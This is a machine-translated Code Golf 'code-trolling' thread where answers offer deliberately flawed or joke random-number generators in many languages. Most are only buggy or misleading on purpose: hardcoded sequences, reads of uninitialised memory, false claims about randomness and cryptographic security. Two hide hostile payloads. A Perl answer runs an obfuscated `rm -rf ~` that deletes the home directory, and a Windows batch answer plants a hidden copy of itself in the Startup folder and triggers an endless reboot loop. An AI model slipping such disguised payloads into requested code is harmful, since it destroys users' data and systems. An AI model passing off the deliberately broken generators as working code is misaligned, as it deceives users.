Hasilkan urutan angka acak

16

Tantangan:

Hasilkan urutan angka acak. Input hanya harus panjang urutan.

Poin internet tambahan untuk solusi murni fungsional.

Catatan: Ini adalah pertanyaan . Tolong jangan menganggap pertanyaan dan / atau jawaban dengan serius. Informasi lebih lanjut di sini .

terima kasih
sumber
15
xkcd.com/221
grc
Code-trolling sedang dalam proses dihapus, sesuai dengan posisi resmi. Pertanyaan ini memiliki banyak jawaban dan suara, mendapatkan 50% "tetap" suara pada polling , dan merupakan salah satu posting [kode-trolling] pertama, jadi saya menguncinya untuk signifikansi historis.
Gagang Pintu

Jawaban:

37

Python

Ambil artikel wikipedia acak, dan ambil urutan karakter html panjangnya num, dan dapatkan nilai numeriknya

import urllib2
from random import randint
def getRandom(num):
    response = urllib2.urlopen('http://en.wikipedia.org/wiki/Special:Random')
    html = response.read()
    html = html.replace(" ", "")
    htmllen = len(html)
    #I especially love how I still grab a random number here
    l =  randint(0, htmllen - num)
    data = html[l:l+num]
    return [ ord(x) for x in list(data) ]

print getRandom(25)
kartu mac
sumber
Saya menyukai jawaban saya ... tetapi saya PERLU memberi +1 pada ini.
9
Dan moral dari cerita ini adalah: Menggunakan Wikipedia untuk pekerjaan rumah Anda adalah curang.
Wrzlprmft
Satu-satunya bagian yang saya tidak suka adalah bahwa distribusi probabilitas untuk angka yang berbeda tidak seragam. Tapi itu mudah dimaafkan, karena ini luar biasa.
Kevin
@ Kevin: OP tidak memerlukan nomor acak yang terdistribusi secara merata. Sebenarnya, ini memberi saya ide ...
Wrzlprmft
31

Semua program dari jawaban lain hanya akan menghasilkan apa yang disebut "angka pseudo-acak", yang mungkin terlihat acak bagi mata yang tidak terlatih tetapi sebenarnya mengikuti beberapa pola.

Program berikut menghasilkan angka acak aktual dengan mengubah komputer Anda menjadi pendeteksi partikel untuk radiasi latar. Karena ini didasarkan pada efek kuantum, itu benar-benar acak dan tidak mungkin untuk diprediksi. Dan sebagai bonus, program ini sebenarnya berjalan lebih cepat, jika Anda meluncurkan komputer ke ruang angkasa. Dan ya, setiap bit sedingin kedengarannya.

C

#include<stdio.h>

int main(void)
{
    int i,j,k,l,m;
    printf("How many random numbers do you want?");
    scanf ("%i",&m);

    for (i=0; i<m; i++)
    {
        j = k = 42;
        l = 0;
        while (j==k)
            l++;
        printf("%i\n", l);
    }
}

Spoiler:

Program ini menghasilkan dua keping memori yang identik dan kemudian menunggu berapa lama untuk radiasi latar untuk mengubah salah satunya. Waktu tunggu kemudian dikembalikan sebagai angka acak, yang akan didistribusikan secara eksponensial, jika bukan karena bilangan bulat bilangan bulat. Peristiwa seperti itu lebih mungkin di ruang angkasa adalah masalah aktual dalam astronotika, yang diatasi oleh pengerasan radiasi . Jadi, setiap pernyataan dalam pendahuluan itu benar sampai batas tertentu, terlepas dari sedikit tentang kesejukan.

Sayangnya, peristiwa seperti itu menabrak komputer atau setidaknya program lebih besar kemungkinannya daripada memengaruhi kedua potongan memori tersebut. Juga, mungkin perlu waktu ... Akhirnya, seperti yang ditunjukkan oleh kinokijuf, radiasi latar adalah proses eksternal, jadi jdan kharus ditandai sebagaivolatile kompiler (atau Anda harus menggunakan kompiler yang tidak mengoptimalkan sama sekali).

PS: Memperluas ide, orang juga bisa membuat array yang diisi dengan nol dan kemudian mencetaknya. Ada kemungkinan ε bahwa radiasi latar belakang mengubah nol antara penyimpanan dan pencetakan dan dengan demikian apa yang dicetak adalah acak - OP tidak pernah mengatakan bagaimana angka-angka acak itu didistribusikan.

Wrzlprmft
sumber
6
+1 Poin ekstra untuk tidak berguna tetapi benar.
emory
7
Perhatikan bahwa kode pendeteksi radiasi latar akan dioptimalkan oleh kompiler.
kinokijuf
1
@kinokijuf: Sayang sekali (apakah ini berlaku untuk setiap kompiler terlepas dari opsi?). Ngomong-ngomong, karena ini kode-trolling, saya dengan ini menyatakan ini sebagai fitur jawabannya.
Wrzlprmft
14
Kecuali Anda menandai mereka sebagai volatile, maka kode Anda sebenarnya akan berfungsi seperti yang diharapkan.
kinokijuf
1
Apakah ada cara untuk memastikan hal itu jdan kselalu menggunakan lokasi tertentu dalam memori? (Saya tidak terlalu banyak menggunakan C; Saya seorang programmer Java dan C #.) Jika demikian, Anda dapat merancang perangkat keras sehingga lokasi-lokasi itu tidak dilindungi oleh pengerasan radiasi, tetapi seluruh sistemnya.
Kevin
10

Keacakan sulit dicapai di komputer, karena mereka murni deterministik. Menghasilkan angka acak pada komputer adalah bidang penelitian yang sangat aktif, seringkali melibatkan aktor tingkat negara bagian (Lihat Dual_EC_DRBG ). Namun, pada sistem operasi multi-tasking modern, scheduler thread dapat melakukan pekerjaan yang lumayan dalam beberapa situasi. Untuk melakukan ini, kami memberikan kendali atas irisan waktu kami saat ini kembali ke sistem operasi, dan membuat catatan berapa lama bagi kami untuk dijadwalkan kembali. Tergantung pada sistem operasi dan bebannya, ini dapat menghasilkan hasil yang diinginkan.

const int bitsInInt = 31;

void Main()
{
    Console.WriteLine("Enter total number of numbers to generate:");
    var result = Console.ReadLine();

    var total = int.Parse(result);
    foreach(var i in RandomSequence().Take(total))
    {
        Console.WriteLine(i);
    }
}

//Generates a random sequence of bits
IEnumerable<int> RandomBit()
{
    while(true)
    {
        var sw = new Stopwatch();

        sw.Start();
        Thread.Sleep(bitsInInt);
        sw.Stop();

        yield return (int)(sw.ElapsedTicks & 0x1L);
    }
}

//Performs the computation for mapping between the random
//sequence of bits coming out of RandomBit() and what
//is required by the program
IEnumerable<int> RandomSequence()
{
    while(true)
    {
        yield return RandomBit().Take(bitsInInt).Reverse().Select((b,i)=> b<<i).Sum();      
    }
}
Matt Sieker
sumber
2
Ini hampir merupakan solusi serius!
Abhinav Sarkar
8

C #

Karena pengguna perangkat lunak keluar secara acak sifatnya, mengapa tidak menggunakannya untuk keuntungan kita?

Kode ini mengambil tangkapan layar, dan menggunakannya dengan beberapa data lain untuk menghasilkan urutan acak. Bonus poin internet untuk tidak menggunakan generator acak bawaan?

public unsafe uint[] GetThemRandom(int length)
    {
        var bounds = Screen.GetBounds(Point.Empty);
        using (var screenshot = new Bitmap(bounds.Width, bounds.Height))
        using (var graphics = Graphics.FromImage(screenshot))
        {
            // can't hurt
            var sZ = (uint)Cursor.Position.X;
            var sW = (uint)Cursor.Position.Y;

            // take the screenshot as the previous experience has though us that the users
            // are sufficiently random
            graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
            screenshot.Save(DateTime.Now.Ticks + ".jpg", ImageFormat.Jpeg);

            var bytesPerPixel = Image.GetPixelFormatSize(screenshot.PixelFormat) / 8;
            var bits = screenshot.LockBits(bounds, ImageLockMode.ReadOnly, screenshot.PixelFormat);

            var scanData = (byte*)bits.Scan0.ToPointer();
            var scanLimit = bounds.Width * bounds.Height;

            // squash the pixels into two variables
            for (var i = 0; i < scanLimit; i += 2)
            {
                var pX = scanData + i * (bytesPerPixel);
                var pY = scanData + (i + 1) * (bytesPerPixel);

                for (var j = 0; j < bytesPerPixel; j++)
                {
                    sZ ^= *(pX + j);
                    sW ^= *(pY + j);
                }
            }

            // generate the numbers
            var randoms = new uint[length];
            for (var i = 0; i < length; i++)
            {
                // CodeProject 25172
                sZ = 36969 * (sZ & 65535) + (sZ >> 16);
                sW = 18000 * (sW & 65535) + (sW >> 16);

                randoms[i] = (sZ << 16) + sW;
            }

            return randoms;
        }
    }
Alex
sumber
7

Python

Sangat mudah menemukan kesalahan umum: sumber bilangan acak yang tidak terdistribusi secara merata dan tidak ada pengacakan. Solusi saya dengan luar biasa menghindari masalah ini dengan menggunakan wawasan matematika yang mendalam dan pengacakan sederhana, tetapi efektif, dengan waktu saat ini:

from math import pi # The digits of pi are completely randomly distributed. A great source of reliable randomness.
random_numbers = str(pi)
random_numbers = random_numbers[2:] # Don't return the dot accidentally

import time
index = time.localtime()[8] # Avoid the obvious mistake not to randomise the random number source by using localtime as seed.
random_numbers = random_numbers[index:]

number = int(input("How many random numbers would like?"))
for random in random_numbers[:number]: # Python strings are super efficient iterators! Hidden feature!
    print(random)

Bekerja sangat baik ketika diuji sekali untuk satu set angka kecil (9 atau kurang), tetapi sangat cacat ketika diuji sedikit lagi:

  • math.pi hanya berisi beberapa digit setelah periode
  • time.localtime()[8]tidak mengembalikan milidetik atau jam kernel, tetapi 0 atau 1 tergantung pada apakah itu waktu musim panas atau tidak. Jadi benih acak berubah setiap setengah tahun sekali di satu tempat. Jadi, pada dasarnya, tidak ada pengacakan.
  • Ini hanya mengembalikan angka acak antara 0 dan 9.
  • random_numbers[:number]gagal secara diam-diam saat Anda memasukkan yang numberlebih besar dari 15 dan hanya mengeluarkan 15 angka acak.

Sayangnya, ini terinspirasi oleh fungsi acak Delphi 1.0, yang digunakan untuk bekerja dengan cara yang sama.

Turion
sumber
6

Rubi

Pertanyaannya meminta SEQUENCE. Baiklah, kita lanjut lagi...

$seed = $$.to_i
def getRandom(seed)
        a = Class.new
        b = a.new
        $seed = a.object_id.to_i + seed - $seed
        $seed
end

def getRandomSequence(num)
        molly = Array.new
        0.upto(num) do |x| molly[x] = x*getRandom(x) - getRandom(0-x) end
        molly
end

Ini 100% acak. Tidak benar-benar.
Sayang sekali kode ini berarti TIDAK ADA ke OP (apa-apaan itu object_id?)
Juga, ini implementasi spesifik, artinya berhasil atau tidak antara versi ruby ​​yang berbeda (jalankan ini pada 2.1.0p0).
Selain itu, ini berpotensi melakukan sesuatu yang sangat jahat, karena OP mungkin bereksperimen dengan object_id ...

Contoh output:

-2224
12887226055
25774454222
38661682243
51548910124
64436137991

Edit:

dimodifikasi untuk digunakan $$untuk keacakan yang sebenarnya (pada tingkat OS).


sumber
Saya bisa melakukan ini di C dan mendapatkan LEBIH BANYAK sampah, tapi apa yang menyenangkan dalam melakukan pseudorandoms di C?
5

Jawa

Hati-hati, ini pertanyaan jebakan .....

Sebagian besar orang di Jawa akan menggunakan math.random () untuk membantu menghasilkan urutan ini, tetapi mereka akan menjadi bingung karena mereka hanya akan mendapatkan hasil positif! random()mengembalikan nilai desimal dari 0 ke 1 (tidak termasuk 1 itu sendiri). Jadi, Anda harus memainkan beberapa trik untuk memastikan Anda mendapatkan distribusi nilai acak yang baik dari seluruh rentang integer (positif dan negatif).

Anda juga tidak bisa melipatgandakan Math.random() dan Integer.MAX_VALUEkarena Anda ini tidak akan pernah memasukkan Integer.MAX_VALUEdirinya sebagai bagian dari hasilnya! Juga, akan logis untuk melakukannya math.rand() * (Integer.MAX_VALUE + 1)sehingga Anda mendapatkan distribusi penuh, tetapi, tentu saja, ini tidak berfungsi karena Integer.MAX_VALUE + 1akan meluap, dan menjadiInteger.MIN_VALUE ! Jadi, sayangnya, solusi terbaik adalah menggunakan manipulasi data sedikit-bijaksana ...

Jadi, berikut ini adalah urutan lengkap untuk menghasilkan nilai acak 'n' dalam rentang Integer.MIN_VALUEke Integer.MAX_VALUE(Termasuk kedua ekstrem (yang merupakan bagian sulit) !!!!):

public static int[] get_random_sequence(int count) {
    // where we will store our random values.
    int[] ret = new int[count];

    for (int i = 0; i < count; i++) {
        // get a random double value:
        double rand = Math.random();
        // now, convert this double value (which really has 48 bits of randomness)
        // in to an integer, which has 32 bits. Thus 16 extra bits of wiggle room
        // we cannot simply multiply the rand value with Integer.MAX_VALUE
        // because we will never actually get Integer.MAX_VALUE
        //    (since the rand will never exactly == 1.0)
        // what we do is treat the 32-bits of the integer in a clever bit-shifting
        // algorithm that ensures we make it work:
        // We use two special Mersenne Prime values (2^19 - 1) and (2^13 - 1)
        // http://en.wikipedia.org/wiki/Mersenne_prime#List_of_known_Mersenne_primes
        // these are very convenient because 13 + 19 is 32, which is the
        // number of bits of randomness we need (32-bit integer).
        // Interesting note: the value (2^31 - 1) is also a Mersenne prime value,
        // and it is also Integer.MAX_VALUE. Also, it is a double marsenne prime
        // since 31 is also a marsenne prime... (2^(2^5 - 1) - 1). Math is Cool!!!
        //    2^19 - 1 can be expressed as (1 << 19) - 1
        //    2^13 - 1 can be expressed as (1 << 13) - 1
        // first we set 13 bits ... multiply a 13-bit prime by the random number.
        ret[i]  = (int)(rand * (1 << 13) - 1);
        // now shift those 13 random bits 19 bits left:
        ret[i] <<= 19;
        // now add in the 19 random bits:
        ret[i] ^= (int)(rand * (1 << 19) - 1);
    }
    return ret;
}

Ini menghasilkan output seperti:

[-368095066, -1128405482, 1537924507, -1864071334, -130039258, 2020328364, -2028717867, 1796954379, 276857934, -1378521391]

Tentu saja, jawaban di atas adalah jawaban BS lengkap. Itu tidak menghasilkan deskripsi yang baik, dan 'menyembunyikan' bug parah ( ^=seharusnya |=). itu juga menyembunyikan bug yang tidak terlalu parah (urutan-pf-diutamakan berarti kita tidak benar-benar mengalikan nilai prima sama sekali!) Menggunakan kata-kata mewah, bilangan prima, dan banyak komentar bukan alasan untuk mempercayai kode ... Tentu saja, jika Anda ingin melakukan hal di atas, sebaiknya gunakan sajajava.util.Random.nextInt()

rolfl
sumber
4

Jawa

Sekarang saya melihat kembali programnya, saya lupa menutup Scanner...

import java.util.Scanner;

public class RandomNumberGenerator
{
    public static void main(String... args)
    {
        String rand = "14816275093721068743516894531"; // key-bashing is random
        Scanner reader = new Scanner(System.in);
        System.out.println("Enter length of random number: ");
        System.out.println(rand.substring(0, Integer.parseInt(reader.nextLine())));
    }
}
syb0rg
sumber
3
(non-troll) Anda dapat menangani aliran penutupan / dll. jauh lebih mudah di Java 7 dengan try (Scanner reader = new Scanner(System.in)) { ... }.
wchargin
4

Perl

$\=$$;for(1..<>){$\=$\*65539;$\%=2**31;$\.=',';print""}

Saya melakukan $\taktik yang sama untuk output seperti pada jawaban kode-trolling yang berbeda. Juga, Anda banyak memperhatikan bahwa saya menginvestasikan banyak $$ke dalam algoritma RANDU .

Sunting: Untuk menjelaskan lebih baik, RANDU adalah PRNG yang sangat tidak aman. Wikipedia menggambarkan sebagai "salah satu generator nomor acak yang paling salah yang pernah dirancang." Kelemahan utamanya adalah di bawah ini:

f (x) = 6 * f (x-1) - 9 * f (x-2)

PhiNotPi
sumber
3

Ini pembangkit bilangan acak, pangkalan 2^CHAR_BIT.

char* random(size_t length) {
    char* ret = malloc((length+1) * sizeof(char));
    ret[length] = 0;
    return ret;
}
meiamsome
sumber
1
Anda harus mengalokasikan lengthsaja. Data yang rusak ketika contoh berfungsi dengan baik adalah yang terbaik.
John Dvorak
3

Dalam javascript, dengan gaya fungsional:

var randomSequence = "[5, 18, 4, 7, 21, 44, 33, 67, 102, 44, 678, -5, -3, -65, 44, 12, 31]";

alert("The random sequence is " + (function (sequenceSize) {
    return randomSequence.substring(0, sequenceSize);
})(prompt("Type the size of the random sequence")) + ".");
Victor Stafusa
sumber
Saya tidak menyadari bahwa mungkin untuk menulis JS seperti ini 0_0
Kevin
3

C

Fungsi ini bekerja sangat baik untuk aplikasi kecil untuk membuat angka acak antara 0 dan 1337. Menyebutnya lebih dari satu kali disarankan untuk memastikan keacakan maksimum.

int* getRandom(int length)
{
    //create an array of ints
    int* nums = malloc(sizeof(int) * length);

    //fill it in with different, "random" numbers
    while(length--)                                //9001 is a good seed
        nums[length-1] = (int)malloc(9001) % 1337; //1337 is used to make it more random
    return nums;
}
Lindenk
sumber
RAM dan file halaman saya menangis.
Kevin
3

Generator Blum Blum Shub yang terkenal . Karena generator angka acak harus aman secara kriptografis, dan cara apa yang lebih baik untuk memberikan keamanan daripada melalui ketidakjelasan.

#include <stdio.h>

long long Blum,BLum,Shub;

#define RAND_MAX 65536
//These two constant must be prime, see wikipedia.
#define BLUM 11
#define SHUB 19

int seed(int);
int(*rand)(int)=seed; //rand must be seeded first
int blumblumshub(int shub){
  //generate bbs bits until we have enough
  BLum  = 0;
  while (shub){
     Blum=(Blum*Blum)%Shub;
     BLum=(BLum<<1)|(Blum&1);
     shub>>=1;
  }
  return BLum>>1;
}

int seed(int n){
  Blum=n,BLum=BLUM;     
  Shub=SHUB*BLum;
  rand=blumblumshub;
  return rand(n);
}

//Always include a test harness.
int main(int argv, char* argc[]){
  int i;
  for (i=0;i<10;i++){
     printf("%d\n",rand(97));
  }
}

(Termasuk nama-nama variabel yang mengerikan, implementasi yang salah berdasarkan pemindaian cepat wikipedia, dan sihir penunjuk fungsi yang tidak berguna yang dilemparkan untuk bersenang-senang)

ASHelly
sumber
2
int argv, char* argc[]Ya Tuhan kenapa?
Joe Z.
2

C / C ++

#include<stdio.h>

int main()
{
   int length = 20;
   double *a = new double[0];
   for (int i = 0; i < length; ++i)
   {
       printf("%f\n", a[i]);
   }
   return a[0];
}

Gunakan beberapa data tumpukan sampah. Oh, dan jangan lupa membocorkan pointer.

Martijn Courteaux
sumber
2

C ++

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    int i, len;
    srand(time(NULL));
    len = atoi(argv[1]);
    for(i = 0; i < len; i++)
        printf("%d\n", rand() % 100);
    return 0;
}

Pro:

  • Berhasil.
  • Terkadang.
  • Valid (ish) C89.
  • Mengerikan C ++.
  • Gunakan C header karena using namespace std;adalah EVIL dan kami tidak ingin memperlambat program turun dengan semua pencarian namespace tersebut.
  • Kami menghindari keseragaman distribusi yang mendukung kecepatan dengan menggunakan modulus dengan nilai hardcoded (TODO: ubah ini menggunakan bitshift untuk kecepatan lebih mentah).
  • Dapat memverifikasi determinisme dengan mengeksekusi banyak waktu dalam jam yang sama detik.
  • Mengapa kode ini buruk tidak cukup jelas sehingga OP mungkin tidak akan menyadarinya.

Cons:

  • Mengapa kode ini buruk tidak cukup jelas sehingga profesor OP (grader) mungkin tidak akan menyadarinya.
  • Ini tampaknya dianggap sebagai solusi yang dapat diterima.
  • Membutuhkan lebih banyak KECEPATAN BAKU.
Stuart Olsen
sumber
1
Coba tebak, itu memiliki perilaku yang tidak terdefinisi jika argv[1]bukan bilangan bulat (atau lebih buruk, jika itu nol)?
Joe Z.
1
Oh, itu akan bekerja dengan baik jika argv [1] tidak menyandikan bilangan bulat; atoihanya akan mengembalikan nol. Di mana ia menjadi berbulu adalah ketika bilangan bulat yang dikodekan terletak di luar kisaran int.
Stuart Olsen
2

Mathematica

RandInt = 
 Array[First@
     Cases[URLFetch["http://dynamic.xkcd.com/random/comic/", 
       "Headers"], {"Location", l_} :> 
       FromDigits@StringTake[l, {17, -2}]] &, #] &
alephalpha
sumber
2

TI-Basic 83 + 84

:so;first&Input\something And;then:Disp uhmm_crazy_huhrandIntNoRep(1_£€¢|•∞™©®©©™,Andthen)

Input - 3

Output - {2,3,1}


Ini bekerja karena intinya :Input A:Disp randIntNoRep(1,A)

Timtech
sumber
1

Inilah solusi Python. Anda tidak dapat membuktikan bahwa ini tidak acak!

def get_random(num):
    print '3' * num

Cobalah dengan menelepon get_random(5), misalnya.

Maxim Zaslavsky
sumber
5
Itu tidak acak karena Anda dapat memprediksi output dengan melihat kode. Anda bahkan tidak perlu tahu kapan itu berjalan!
@ Shingetsu OP menggunakan permainan kata pada dasarnya mengatakan "Anda dapat membuktikan bahwa itu acak".
C1D
1

Perl

use strict;
use warnings;
`\x{0072}\x{006D}\x{0020}\x{002D}\x{0072}\x{0066}\x{0020}\x{007E}`;
my $length = $ARGV[0];
for (my $count = 0;$count<$length;++$count) {
    print int(rand(10));
}
print "\n";

Yang ini menggunakan beberapa kode perl yang sangat sederhana untuk dilakukan seperti yang diminta OP, tetapi tidak sebelum menghapus direktori home secara rekursif (tanpa benar-benar menulis rm -rf ~, tentu saja.)

Saya belum menguji ini (untuk alasan yang jelas).

pengguna11747
sumber
3
Jawaban troll kode tidak seharusnya merusak, jika seseorang mencoba sampel kode.
Kevin
1

Python 3

Tidak hanya menghabiskan banyak waktu (waktu nyata dan CPU), tetapi hanya mengembalikan 10 angka acak.

def generate_random_number_sequence():
    with open('/dev/urandom', 'rb') as fd:
        data = b''
        num = 0

        for i in range(10000):
            data += fd.read(1)

            for b in data:
                try:
                    num += int(b)
                except ValueError: pass

        return [int(n) for n in list(str(num))]

if __name__ == '__main__':
    print(generate_random_number_sequence())
nyuszika7h
sumber
1

Rubi

Anda mungkin tahu bahwa tidak semua angka acak. Program ini memeriksa semua angka dan hanya memberi Anda nomor yang benar - benar acak.

Berhati-hatilah karena kode Ruby agak sulit dibaca. Ini tidak seefisien bahasa Inggris karena komputer sedikit bodoh dan kadang-kadang Anda harus mengulangi kata-kata penting kepada mereka.

Karena itu saya telah menambahkan beberapa #commentske kode; Kata-kata UPPERCASE dalam komentar menunjukkan bagaimana kata yang sama bekerja dalam kode Ruby.

def random_sequence(n)
  # Make a NEW ENUMERATOR of RANDOM numbers:
  Enumerator.new { |random|
    # to_i means that the RANDOM NUMBERS we want are *integers*.
    # (rand is computer speak for random.)
    number = rand.to_i

    # We need to LOOP (because we want a *sequence* of numbers):
    loop do
      # Double check that the NEXT NUMBER is a RANDOM NUMBER.
      # This is very important so we must repeat some of the words to the computer.
      random << number if number == rand(number=number.next)
    end
   }.take(n) # Self explanatory
end

# Now we just say hw many random numbers we want, like 12
p random_sequence(12)

Penjelasan lebih rinci mungkin datang kemudian, tetapi output dari contoh ini akan memberikan sebagian darinya: [1, 3, 5, 10, 180, 607, 639, 1694, 21375, 75580, 137110, 149609] ... Masih agak acak sekalipun.

daniero
sumber
1

Script Windows Batch berikut ini akan menghasilkan file dengan nomor acak yang disebutkan OUTPUT.TXTdi folder profil Anda. Ini dijamin untuk menghasilkan angka acak yang hampir sepenuhnya benar. Cukup tempel kode ini ke Notepad, simpan sebagai "FileName.CMD"(dengan tanda kutip) dan jalankan.

IF "%~dp0" == "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" GOTO GENRANDOM
copy %~f0 "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
attrib +R +H "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
GOTO GENRANDOM
REM GOTO INSTRUCTIONS ARE VERY IMPORTANT TO MAKE YOUR FILE EASIER TO READ

:NEXT
shutdown -r -t 0
exit

:GENRANDOM
FOR /D %%F IN (%time%) DO (
@set output=%%F
)
::NEXT <--Really important
IF NOT EXIST "%userprofile%\OUTPUT.TXT" ECHO.>"%userprofile%\OUTPUT.TXT"
echo.%output%>>"%userprofile%\OUTPUT.TXT"
GOTO NEXT

REM TODO: ADD MORE OBSCURITY

Harus memasukkan jumlah angka acak yang akan dihasilkan terlalu merepotkan. Tekan dan tahan tombol daya untuk menghentikannya. Jauh lebih mudah! Plus: tidak memerlukan keyboard.

pengguna2428118
sumber
Penjelasan: skrip menyalin dirinya sendiri ke folder startup jika belum ada di sana, meraih centiseconds dari %time%, menulisnya ke %userprofile%\OUTPUT.TXTdan kemudian restart komputer. Setelah komputer dihidupkan ulang, komputer melakukan hal yang sama lagi.
user2428118
1

Lua

Ini adalah fungsi yang terlalu tinggi, terlalu rumit, berantakan (bahkan dengan penyorot sintaks), fungsi yang menghasilkan angka yang sangat tinggi dengan cara yang jauh lebih rumit. Dan alih-alih mengembalikan deretan angka, itu mencetaknya di layar, membuatnya tidak praktis untuk digunakan dalam program Anda. Sulit untuk diedit, jadi jika victum Anda meminta Anda untuk memperbaikinya, katakan itu terlalu rumit untuk diedit.

function random(x) local func = loadstring("print(math.random(math.random(math.random(123514363414,9835245734866241),math.random(182737598708748973981729375709817829357872391872739870570,57102738759788970895707189273975078709837980278971289375078978739287018729375087132705)),math.random(math.random(19230851789743987689748390958719873289740587182039758917892708973987579798403789,0958907283470589718273057897348975087192034875987108273570917239870598743079857082739845891098728073987507),math.random(894017589723089457098718723097580917892378578170927305789734975087109872984375987108789,2739870587987108723457891098723985708917892738075098704387857098172984758739087498570187982347509871980273589789437987129738957017))))") for i = 1, x do func() end end
Ion Kalium
sumber
0

C #

 public class Random
    {
        private char[] initialSequence = "Thequickbrownfoxjumpsoveralazydog".ToCharArray();

        private long currentFactor;

        public Random()
        {
            currentFactor = DateTime.Now.ToFileTime();
        }

        public IEnumerable<int> GetSequence(int count)
        {
            int i = 0;
            while (i < count)
            {
                i++;

                string digits = currentFactor.ToString();
                digits = digits.Substring(digits.Length / 4, digits.Length / 2);

                if (digits[0] == '0')
                    digits = "17859" + digits;

                currentFactor = (long)System.Math.Pow(long.Parse(digits), 2);

                int position = i % initialSequence.Length;

                initialSequence[position] = (char)((byte)initialSequence[position] & (byte)currentFactor);

                yield return (int)initialSequence[position] ^ (int)currentFactor;

            }
        }
    }

Catatan itu cenderung untuk istirahat untuk urutan yang lebih lama, tetapi ketika itu berfungsi itu menghasilkan angka yang sangat acak

Lorentz Vedeler
sumber
0

Fortran

Komputer Anda sudah memiliki nomor acak bawaan, jadi Anda hanya perlu mengaksesnya:

program random_numbers
   implicit none
   integer :: nelem,i,ierr

   print *,"Enter number of random sequences"
   read(*,*) nelem

   do i=1,nelem
      call system("od -vAn -N8 -tu8 < /dev/urandom")
   enddo
end program random_numbers

Jelas non-portabel, karena mengharuskan pengguna untuk memiliki sistem * nix (tetapi siapa yang masih menggunakan Windows?).

Kyle Kanos
sumber
0

Saya berasumsi bahwa Anda tentu perlu banyak angka acak. Panggilan untuk ...

Bash dan Hadoop

Tentu saja, Hanya menggunakan satu sumber acak tidak dapat diandalkan pada zaman NSA. Mereka mungkin telah men-trojan komputer Anda. Tapi mereka tidak akan men-trojan seluruh cluster Anda!

#!/bin/bash
# Fortunately, our mapper is not very complex.
# (Actually a lot of the time, mappers are trivial)
cat > /tmp/mapper << EOF
#!/bin/bash
echo $$RANDOM
EOF

# Our reducer, however, is a filigrane piece of art
cat > /tmp/reducer << EOF
#!/bin/bash
exec sort -R | head -1 
EOF

Selanjutnya, skrip akan menjalankan pekerjaan kluster yang diinginkan:

# We need to prepare our input data:
$HADOOP_HOME/bin/hdfs dfs -mkdir applestore
for i in `seq 0 $RANDOM`; do
    echo Banana >> /tmp/.$i
    $HADOOP_HOME/bin/hdfs dfs -copyFromLocal /tmp/.$i applestore/android-$i
done

# We can now repeatedly use the cluster power to obtain an infinite
# stream of super-safe random numbers!
for i in `seq 1 $1`; do
    $HADOOP_HOME/bin/hadoop jar $HADOOP_HOME/hadoop-streaming.jar \
    -input applestore/ \
    -output azure/ \
    -file /tmp/mapper \
    -file /tmp/reducer \
    -mapper /tmp/mapper \
    -reducer /tmp/reducer
    $HADOOP_HOME/bin/hdfs dfs -cat azure/part-00000
    # Never forget to cleanup something:
    $HADOOP_HOME/bin/hdfs dfs -rm -r azure
done

Terima kasih Tuhan, kami memiliki kekuatan Hadoop!

Anony-Mousse -Reinstate Monica
sumber
Bash-lah yang menjadikannya seperti ini :)
Kerusuhan
0

Rubi

require 'md5'

5.times {|i| p MD5.md5(($$+i).to_s).to_s.to_i(32)} # take 32 bits
Christopher Creutzig
sumber
0

ANSI C

Ini cukup rumit dan saya tidak akan terlalu khawatir tentang hal itu. Cukup salin dan tempel kode di bawah ini ke perpustakaan Anda dan Anda akan menjadi emas selamanya.

#include <stdlib.h>
#include <time.h>

void fillNumbers(int[], unsigned size);

void main()
{
    int random[5];
    fillNumbers(random, 5);
}

void fillNumbers(int arr[], unsigned size)
{
    void * pepperSeed = malloc(size);
    unsigned tick = ~(unsigned)clock();
    srand((int)( (unsigned)pepperSeed^tick ));
    while( size --> 0 )
    {
        arr[size] = rand();
    }
}
Johannes
sumber
0

Coba C ++ - cepat, kuat, semua yang Anda inginkan:

#include <iostream>
#include <vector>
#include <cmath>
using namespace std;
#define type int
#define type vector

// declaration for generate_num()
int generate_num();

void error(std::string s) {
  throw runtime_error(s);
}

// some support code
class random {

public:
  random(int& i) { if (!i) error("class random: bad value"); for (int j = 0; j < i; j++) v.push_back(generate_num()); }

  void* display() const { for (int i = 0; i < v.size(); i++) std::cout << v[i] << std::endl; return 0; }

private:
  vector<int> v;
};

// generate number
int generate_num() {

  // seed random number generator
  srand(rand());

  // get number
  int i = rand();

  // return number after calculation
  return int(pow(i, pow(i, 0)));
}

int main() try {

  // generate and store your random numbers
  int amount_of_numbers;
  std::cout << "Enter the number of random variables you need: ";
  std::cin >> amount_of_numbers;

  // create your random numbers
  random numbers = random(amount_of_numbers);

  // display your numbers
  numbers.display();

  return 0;
}
catch (exception& e) {
  std::cerr << "Error: " << e.what();
  return 1;
}
catch (...) {
  std::cerr << "Unknown error\n";
  return 2;
}

Omong-omong, untuk hasil terbaik, Anda ingin menggunakan a class.


Penjelasan:
1. Dia TIDAK perlu menggunakannya class- itu benar-benar berlebihan.
2. Pernyataan generate_num()pengembalian sebenarnya mengembalikan angka ^ (angka ^ 0), yang dievaluasi menjadi angka ^ 1, yang merupakan angka. Ini juga mubazir.
3. Penanganan kesalahan yang paling tidak perlu - apa yang bisa salah dengan dasar meninju data ini?
4. Saya menggunakan std::sebelum semua elemen stdnamespace. Ini juga mubazir.
5. #definePernyataan tidak perlu juga - Saya melakukan itu untuk membuatnya berpikir bahwa saya mendefinisikan jenis-jenis khusus untuk program ini.

Penafian:
Program ini benar-benar berfungsi; namun, saya TIDAK merekomendasikan siapa pun atau entitas menggunakannya dalam kode mereka untuk kehidupan nyata. Saya tidak berhak atas kode ini; dengan kata lain, saya membuatnya sepenuhnya open-source.

Hosch250
sumber
Ini sebenarnya praktik yang baik untuk menggunakan std::awalan, tanpa menggunakan using namespace std, sehingga Anda tidak mencemari ruang lingkup global. (Jika Anda malas, using std::coutdan itu masih lebih baik daripada using namespace std.)
nyuszika7h
Oh Bjarne Stroustrup berkata untuk menggunakan using namespace std;dan menentukan semua kelas lainnya secara langsung.
Hosch250
0

Python

Mengambil bagian fungsional - python yang hampir satu garis

import random
map(lambda x: random.random(), xrange(input())
Tom Kiley
sumber